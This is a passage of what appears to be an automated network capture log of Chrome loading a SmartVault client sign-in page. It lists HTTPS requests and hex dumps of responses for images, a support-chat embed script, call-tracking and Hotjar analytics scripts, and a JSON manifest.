2024-04-11 20:35:42 UTC	1208	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 74 00 00 00 20 08 03 00 00 00 f4 5b ac f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 01 80 50 4c 54 45 f2 ee 8a c3 c3 c3 b9 cd d5 84 95 79 d5 c9 a5 9d aa 94 d1 a1 03 c3 ca be ab ab ab c5 aa 59 cf b6 5c f4 f9 fb db c5 5f 8a ba cd df e2 dc e1 d3 ab d1 d1 d1 f8 e0 4c 8d 8d 8d ab b7 a4 6b 80 5e d1 d7 cd a2 a2 a2 45 60 34 e0 e0 e0 ce 9c 04 9d d5 ea de ae 02 94 c8 dc d4 d9 d1 d9 a7 05 b9 c3 b3 ee be 02 e6 b6 02 be c6 b9 b2 bb ac b2 b2 b2 c5 99 1d 69 7f 5c d4 a9 1c f1 cb 03 a5 b1 9e c8 97 04 95 95 95 cc cc cc b4 88 18 eb ed ea e3 b6 05 dd ae 04 5d 74 4f 99 a6 90 78 8b 6c 51 6b 42 cc d2 c8 90 9f 86 5e 75 4f ec be 04 f3 cc 01 e4 b6 04 Data Ascii: PNGIHDRt [tEXtSoftwareAdobe ImageReadyqe<PLTEyY\_Lk^E`4i\]tOxlQkB^uO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
242	192.168.2.4	50100	13.59.104.88	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:42 UTC	721	OUT	GET /secure/Header.ashx?o=ZDP9VpfZ6EuK8qJ7GVnNiQ&version=018eOZnJO0eg_DeW4TfMjw HTTP/1.1 Host: bfjfinancialgroup.smartvault.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bfjfinancialgroup.smartvault.com/secure/CustomCss.ashx?o=none&version=0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:42 UTC	1491	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 20:35:42 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, no-store Server: Microsoft-IIS/10.0 X-AspNet-Version: 4.0.30319 P3P: policyref="/w3c/p3p.xml", CP="CAO DSP CURa ADMa DEVa TAIa OUR DELi BUS PHY ONL UNI PUR COM NAV DEM STA PRE" Set-Cookie: .ASPXAUTH=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:42 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: .ASPXAUTH=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:42 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-idle-timeout=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:42 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-idle-timeout=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:42 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-last-use=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:42 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-last-use=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:42 GMT; path=/;SameSite=lax; secure; HttpOnly X-Powered-By: ASP.NET X-XSS-Protection: 1 Content-Security-Policy: frame-ancestors 'self' https://svportal000.smartvault.com https://svportal001.smartvault.com https://svportal002.smartvault.com https://svportal003.smartvault.com https://portal000.smartvault.com https://portal001.smartvault.com https://portal002.smartvault.com https://portal003.smartvault.com
2024-04-11 20:35:42 UTC	4330	IN	Data Raw: 31 30 65 32 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 7e 00 00 00 3c 08 06 00 00 00 a0 b3 0e ef 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 10 84 49 44 41 54 78 5e ed 5d 07 58 55 c7 b6 1e bd 31 31 b1 26 9a ab c6 24 96 5c 73 ed 18 3b 8a dd 58 62 03 a3 82 08 88 14 1b a8 68 a4 a8 d8 1b 12 04 0b 0a 76 c4 82 22 57 b1 20 2a 22 62 89 15 51 40 05 14 91 8e 8a 22 a0 d2 fd df 9a d9 9b 9c 83 1c 52 de fb ee 13 0f e7 ff be f9 ce 9e 35 65 ef 33 ff 5a 6b d6 ec 99 03 0c 1a 54 4a 68 88 af a4 d0 10 5f 49 a1 56 c4 e7 e4 e5 e1 7b 27 47 30 c3 21 94 7e a2 34 14 93 0f ef 97 4b 55 63 c9 a9 63 60 43 bb 83 19 0d 03 9b f0 6e a2 3e 26 0c 45 b7 f5 ab f0 ba b0 40 6e a1 1e 50 2b e2 eb 3a ce 02 Data Ascii: 10e2PNGIHDR~<gAMAapHYs+IDATx^]XU11&$\s;Xbhv"W *"bQ@"R5e3ZkTJh_IV{'G0!~4KUcc`Cn>&E@nP+:
2024-04-11 20:35:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
243	192.168.2.4	50101	13.59.104.88	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:42 UTC	627	OUT	GET /secure/Intercom.ashx HTTP/1.1 Host: bfjfinancialgroup.smartvault.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:42 UTC	1494	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 20:35:42 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 322 Connection: close Cache-Control: private Server: Microsoft-IIS/10.0 X-AspNet-Version: 4.0.30319 P3P: policyref="/w3c/p3p.xml", CP="CAO DSP CURa ADMa DEVa TAIa OUR DELi BUS PHY ONL UNI PUR COM NAV DEM STA PRE" Set-Cookie: .ASPXAUTH=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:42 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: .ASPXAUTH=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:42 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-idle-timeout=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:42 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-idle-timeout=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:42 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-last-use=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:42 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-last-use=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:42 GMT; path=/;SameSite=lax; secure; HttpOnly X-Powered-By: ASP.NET X-XSS-Protection: 1 Content-Security-Policy: frame-ancestors 'self' https://svportal000.smartvault.com https://svportal001.smartvault.com https://svportal002.smartvault.com https://svportal003.smartvault.com https://portal000.smartvault.com https://portal001.smartvault.com https://portal002.smartvault.com https://portal003.smartvault.com
2024-04-11 20:35:42 UTC	322	IN	Data Raw: 28 0d 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 76 61 72 20 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 73 2e 69 64 20 3d 20 22 5f 5f 61 64 61 22 3b 0d 0a 20 20 20 20 20 20 20 20 73 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 27 64 61 74 61 2d 68 61 6e 64 6c 65 27 2c 20 27 73 6d 61 72 74 76 61 75 6c 74 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 73 2e 73 72 63 20 3d 20 27 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 61 64 61 2e 73 75 70 70 6f 72 74 2f 65 6d 62 65 64 32 2e 6a 73 27 3b 0d 0a 20 20 20 20 20 20 20 20 76 61 72 20 78 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 Data Ascii: ( function () { var s = document.createElement('script'); s.id = "__ada"; s.setAttribute('data-handle', 'smartvault'); s.src = 'https://static.ada.support/embed2.js'; var x = document.getElementsByTagName(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
244	192.168.2.4	50106	18.164.124.93	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:42 UTC	543	OUT	GET /embed2.js HTTP/1.1 Host: static.ada.support Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bfjfinancialgroup.smartvault.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:42 UTC	819	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 6427 Connection: close Date: Thu, 11 Apr 2024 03:28:56 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Access-Control-Expose-Headers: ETag Access-Control-Max-Age: 3000 Last-Modified: Tue, 07 Nov 2023 14:05:46 GMT Etag: "2d160b64ffb01229b42a64129e51af9d" X-Amz-Server-Side-Encryption: AES256 Cache-Control: max-age: 300 X-Amz-Version-Id: KgI4hTVIBNEibXglVR3UV3ob0dZnvBrZ Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding Via: 1.1 43612939fd59beab4d0cf84fecc2c956.cloudfront.net (CloudFront) Age: 61607 Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Cache: Hit from cloudfront X-Amz-Cf-Pop: JFK50-P7 X-Amz-Cf-Id: 3W1Y8Ri1z3JLzvIMTQ-ykRglZH7vRxAJXdWyB_sZ_Mgvl8NdyYOZRw==
2024-04-11 20:35:42 UTC	6396	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 2c 74 2c 6e 2c 72 2c 6f 3d 7b 37 34 30 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 68 69 73 26 26 74 68 69 73 2e 5f 5f 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 3d 31 2c 72 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 66 6f 72 28 76 61 72 20 6f 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 6e 5d 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 74 2c 6f 29 26 26 28 65 5b 6f 5d 3d 74 5b 6f 5d 29 Data Ascii: !function(){"use strict";var e,t,n,r,o={740:function(e,t){var n=this&&this.__assign\|\|function(){return n=Object.assign\|\|function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var o in t=arguments[n])Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o])
2024-04-11 20:35:42 UTC	31	IN	Data Raw: 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 65 2c 74 29 7d 2c 69 28 32 32 36 29 7d 28 29 3b Data Ascii: nProperty.call(e,t)},i(226)}();

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
245	192.168.2.4	50110	52.85.61.83	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:43 UTC	582	OUT	GET /companies/522876257/62ae1f386a513fd442e6/12/swap.js HTTP/1.1 Host: cdn.calltrk.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bfjfinancialgroup.smartvault.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:43 UTC	756	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Content-Length: 38123 Connection: close Date: Thu, 11 Apr 2024 20:35:43 GMT Cache-Control: max-age=3600, public Etag: W/"8ce0921f9728c141bbe87ac1cbef9725" Referrer-Policy: strict-origin-when-cross-origin Timing-Allow-Origin: * Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Request-Id: a43ba161-591f-4d25-a0e3-2aa4636ffa8e X-Runtime: 0.005127 X-Xss-Protection: 1; mode=block X-Cache: Miss from cloudfront Via: 1.1 95edb2a6efdb5ee4d3c7f7aa298bb2f2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: EWR53-P1 X-Amz-Cf-Id: tfWO3jV5uZvV5O8RYgaancscJLToSjXgb0CKHxZRXiZfQni2eSUHDw==
2024-04-11 20:35:43 UTC	3556	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 57 72 61 70 70 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 7d 72 65 74 75 72 6e 20 65 2e 64 6f 63 75 6d 65 6e 74 52 65 66 65 72 72 65 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 72 65 66 65 72 72 65 72 7d 2c 65 2e 64 6f 63 75 6d 65 6e 74 55 52 4c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 55 52 4c 7d 2c 65 2e 64 6f 63 75 6d 65 6e 74 43 6f 6f 6b 69 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 3f 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 65 3a 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 7d 2c 65 2e 69 73 44 65 62 75 67 3d Data Ascii: !function(){"use strict";var Wrappers=function(){function e(){}return e.documentReferrer=function(){return document.referrer},e.documentURL=function(){return document.URL},e.documentCookie=function(e){return e?document.cookie=e:document.cookie},e.isDebug=
2024-04-11 20:35:43 UTC	16384	IN	Data Raw: 69 6f 6e 28 29 2e 68 6f 73 74 6e 61 6d 65 2c 72 3d 74 2e 73 70 6c 69 74 28 22 2e 22 29 3b 69 66 28 22 22 3d 3d 3d 74 29 72 65 74 75 72 6e 22 22 3b 66 6f 72 28 76 61 72 20 6e 3d 72 2e 6c 65 6e 67 74 68 2d 31 3b 30 3c 3d 6e 3b 2d 2d 6e 29 7b 76 61 72 20 61 3d 72 2e 73 6c 69 63 65 28 6e 29 2e 6a 6f 69 6e 28 22 2e 22 29 3b 69 66 28 63 2e 63 72 65 61 74 65 43 6f 6f 6b 69 65 28 22 63 61 6c 6c 74 72 6b 5f 6e 65 61 72 65 73 74 5f 74 6c 64 22 2c 61 2c 33 36 30 30 2c 61 29 2c 65 21 3d 3d 57 72 61 70 70 65 72 73 2e 64 6f 63 75 6d 65 6e 74 43 6f 6f 6b 69 65 28 29 29 72 65 74 75 72 6e 20 63 2e 65 72 61 73 65 43 6f 6f 6b 69 65 28 22 63 61 6c 6c 74 72 6b 5f 6e 65 61 72 65 73 74 5f 74 6c 64 22 2c 61 29 2c 43 61 6c 6c 54 72 6b 53 77 61 70 2e 5f 6e 65 61 72 65 73 74 54 4c Data Ascii: ion().hostname,r=t.split(".");if(""===t)return"";for(var n=r.length-1;0<=n;--n){var a=r.slice(n).join(".");if(c.createCookie("calltrk_nearest_tld",a,3600,a),e!==Wrappers.documentCookie())return c.eraseCookie("calltrk_nearest_tld",a),CallTrkSwap._nearestTL
2024-04-11 20:35:43 UTC	6464	IN	Data Raw: 3a 6f 29 3b 69 66 28 30 3c 72 2e 6c 65 6e 67 74 68 29 7b 66 6f 72 28 76 61 72 20 6e 3d 22 22 2c 61 3d 30 3b 61 3c 72 2e 6c 65 6e 67 74 68 3b 61 2b 2b 29 6e 3d 74 28 69 2c 72 5b 61 5d 29 3b 72 65 74 75 72 6e 20 6e 7d 72 65 74 75 72 6e 20 6f 7d 2c 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 5e 22 21 3d 3d 61 2e 63 68 61 72 41 74 28 30 29 29 72 65 74 75 72 6e 20 52 65 70 6c 61 63 65 72 2e 73 74 61 6e 64 61 72 64 52 65 70 6c 61 63 65 28 6f 2c 61 2c 65 2e 6e 61 74 69 6f 6e 61 6c 5f 73 74 72 69 6e 67 29 3b 69 66 28 22 68 72 65 66 22 3d 3d 3d 6e 29 72 65 74 75 72 6e 20 63 28 65 2e 65 31 36 34 2c 74 29 3b 76 61 72 20 72 3d 6c 2e 66 69 6e 64 46 6f 72 6d 61 74 28 74 2c 65 2e 66 6f 72 6d 61 74 73 29 3b 72 65 74 75 72 6e 20 63 28 6e 75 6c 6c 21 3d 3d Data Ascii: :o);if(0<r.length){for(var n="",a=0;a<r.length;a++)n=t(i,r[a]);return n}return o},s=function(e,t){if("^"!==a.charAt(0))return Replacer.standardReplace(o,a,e.national_string);if("href"===n)return c(e.e164,t);var r=l.findFormat(t,e.formats);return c(null!==
2024-04-11 20:35:43 UTC	11719	IN	Data Raw: 2c 72 3d 74 68 69 73 2e 61 73 73 69 67 6e 73 28 29 7c 7c 7b 7d 2c 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 2c 61 3d 30 3b 61 3c 6e 2e 6c 65 6e 67 74 68 3b 61 2b 2b 29 7b 76 61 72 20 6f 3d 6e 5b 61 5d 3b 69 66 28 2d 31 3d 3d 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 26 26 21 28 6f 20 69 6e 20 72 29 29 72 65 74 75 72 6e 21 30 7d 72 65 74 75 72 6e 21 31 7d 2c 6c 2e 63 68 65 63 6b 46 6f 72 6d 73 4f 72 43 68 61 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 21 31 2c 74 3d 21 31 3b 43 61 6c 6c 54 72 6b 2e 65 61 63 68 4e 61 6d 65 73 70 61 63 65 28 66 75 6e 63 74 69 6f 6e 28 6e 73 29 7b 65 3d 65 7c 7c 6e 73 2e 68 61 73 53 65 73 73 69 6f 6e 54 72 61 63 6b 65 72 28 29 2c 74 3d 74 7c 7c 6e 73 2e 68 61 73 46 6f 72 6d 73 4f 72 43 68 61 74 28 29 7d 29 2c Data Ascii: ,r=this.assigns()\|\|{},n=Object.keys(e),a=0;a<n.length;a++){var o=n[a];if(-1===t.indexOf(o)&&!(o in r))return!0}return!1},l.checkFormsOrChat=function(){var e=!1,t=!1;CallTrk.eachNamespace(function(ns){e=e\|\|ns.hasSessionTracker(),t=t\|\|ns.hasFormsOrChat()}),

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
246	192.168.2.4	50113	108.138.106.124	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:43 UTC	556	OUT	GET /c/hotjar-231701.js?sv=7 HTTP/1.1 Host: static.hotjar.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bfjfinancialgroup.smartvault.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:43 UTC	633	IN	HTTP/1.1 200 OK Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close Date: Thu, 11 Apr 2024 20:35:43 GMT Access-Control-Allow-Origin: * Cache-Control: max-age=60 Cross-Origin-Resource-Policy: cross-origin ETag: W/0cf943ee722b6105736bb64af65b77ec Strict-Transport-Security: max-age=2592000; includeSubDomains X-Cache-Hit: 1 X-Content-Type-Options: nosniff Vary: Accept-Encoding X-Cache: Miss from cloudfront Via: 1.1 6741f9acf28bc52b25f06e9986a71e26.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P3 X-Amz-Cf-Id: 4iTCxvueh_ixyO3zQIkvbpwG4NOUI-fJawqlwFSsthroxhLJd3pEWQ==
2024-04-11 20:35:43 UTC	9079	IN	Data Raw: 32 33 36 66 0d 0a 77 69 6e 64 6f 77 2e 68 6a 53 69 74 65 53 65 74 74 69 6e 67 73 20 3d 20 77 69 6e 64 6f 77 2e 68 6a 53 69 74 65 53 65 74 74 69 6e 67 73 20 7c 7c 20 7b 22 73 69 74 65 5f 69 64 22 3a 32 33 31 37 30 31 2c 22 72 65 63 5f 76 61 6c 75 65 22 3a 30 2e 30 2c 22 73 74 61 74 65 5f 63 68 61 6e 67 65 5f 6c 69 73 74 65 6e 5f 6d 6f 64 65 22 3a 22 61 75 74 6f 6d 61 74 69 63 22 2c 22 72 65 63 6f 72 64 22 3a 74 72 75 65 2c 22 63 6f 6e 74 69 6e 75 6f 75 73 5f 63 61 70 74 75 72 65 5f 65 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 72 65 63 6f 72 64 69 6e 67 5f 63 61 70 74 75 72 65 5f 6b 65 79 73 74 72 6f 6b 65 73 22 3a 74 72 75 65 2c 22 73 65 73 73 69 6f 6e 5f 63 61 70 74 75 72 65 5f 63 6f 6e 73 6f 6c 65 5f 63 6f 6e 73 65 6e 74 22 3a 74 72 75 65 2c 22 61 6e 6f Data Ascii: 236fwindow.hjSiteSettings = window.hjSiteSettings \|\| {"site_id":231701,"rec_value":0.0,"state_change_listen_mode":"automatic","record":true,"continuous_capture_enabled":true,"recording_capture_keystrokes":true,"session_capture_console_consent":true,"ano
2024-04-11 20:35:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
247	192.168.2.4	50116	18.164.124.93	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:43 UTC	599	OUT	GET /embed-manifest.json HTTP/1.1 Host: static.ada.support Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://bfjfinancialgroup.smartvault.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bfjfinancialgroup.smartvault.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:43 UTC	767	IN	HTTP/1.1 200 OK Content-Type: application/json Content-Length: 136 Connection: close Date: Thu, 11 Apr 2024 04:16:25 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Access-Control-Expose-Headers: ETag Access-Control-Max-Age: 3000 Last-Modified: Thu, 28 Mar 2024 17:27:57 GMT Etag: "0ea5feaf382929ee8d7d373616ad4f2b" X-Amz-Server-Side-Encryption: AES256 X-Amz-Version-Id: JM4TSF0IaFwJ2ee6VyM4EYM19U8PvnRp Accept-Ranges: bytes Server: AmazonS3 Via: 1.1 3b596e6534b28f6cf60d32fc6bf542dc.cloudfront.net (CloudFront) Age: 58759 Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Cache: Hit from cloudfront X-Amz-Cf-Pop: JFK50-P7 X-Amz-Cf-Id: 2KzavA2wm814MeG7g2fS-JSgUbEs1wfFLWP7Y7P46icvnbikO0Vg6w==
2024-04-11 20:35:43 UTC	136	IN	Data Raw: 7b 0a 20 20 22 76 65 72 73 69 6f 6e 73 22 3a 20 5b 0a 20 20 20 20 7b 0a 20 20 20 20 20 20 22 74 61 67 22 3a 20 22 73 74 61 62 6c 65 22 2c 0a 20 20 20 20 20 20 22 68 61 73 68 22 3a 20 22 65 35 34 30 66 33 63 35 32 61 36 37 35 31 65 34 64 36 31 31 66 35 34 33 65 62 31 62 38 34 66 63 62 31 33 66 32 61 36 37 22 2c 0a 20 20 20 20 20 20 22 77 65 69 67 68 74 22 3a 20 31 0a 20 20 20 20 7d 0a 20 20 5d 0a 7d 0a 0a Data Ascii: { "versions": [ { "tag": "stable", "hash": "e540f3c52a6751e4d611f543eb1b84fcb13f2a67", "weight": 1 } ]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
248	192.168.2.4	50109	13.59.104.88	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:43 UTC	438	OUT	GET /artwork/server/graphics/btn-sign-in.png HTTP/1.1 Host: bfjfinancialgroup.smartvault.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gcl_au=1.1.1803119041.1712867742
2024-04-11 20:35:44 UTC	609	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 20:35:44 GMT Content-Type: image/png Content-Length: 1208 Connection: close Last-Modified: Thu, 04 Apr 2019 13:57:18 GMT Accept-Ranges: bytes ETag: "073d750eeead41:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET X-XSS-Protection: 1 Content-Security-Policy: frame-ancestors 'self' https://svportal000.smartvault.com https://svportal001.smartvault.com https://svportal002.smartvault.com https://svportal003.smartvault.com https://portal000.smartvault.com https://portal001.smartvault.com https://portal002.smartvault.com https://portal003.smartvault.com
2024-04-11 20:35:44 UTC	1208	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 74 00 00 00 20 08 03 00 00 00 f4 5b ac f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 01 80 50 4c 54 45 f2 ee 8a c3 c3 c3 b9 cd d5 84 95 79 d5 c9 a5 9d aa 94 d1 a1 03 c3 ca be ab ab ab c5 aa 59 cf b6 5c f4 f9 fb db c5 5f 8a ba cd df e2 dc e1 d3 ab d1 d1 d1 f8 e0 4c 8d 8d 8d ab b7 a4 6b 80 5e d1 d7 cd a2 a2 a2 45 60 34 e0 e0 e0 ce 9c 04 9d d5 ea de ae 02 94 c8 dc d4 d9 d1 d9 a7 05 b9 c3 b3 ee be 02 e6 b6 02 be c6 b9 b2 bb ac b2 b2 b2 c5 99 1d 69 7f 5c d4 a9 1c f1 cb 03 a5 b1 9e c8 97 04 95 95 95 cc cc cc b4 88 18 eb ed ea e3 b6 05 dd ae 04 5d 74 4f 99 a6 90 78 8b 6c 51 6b 42 cc d2 c8 90 9f 86 5e 75 4f ec be 04 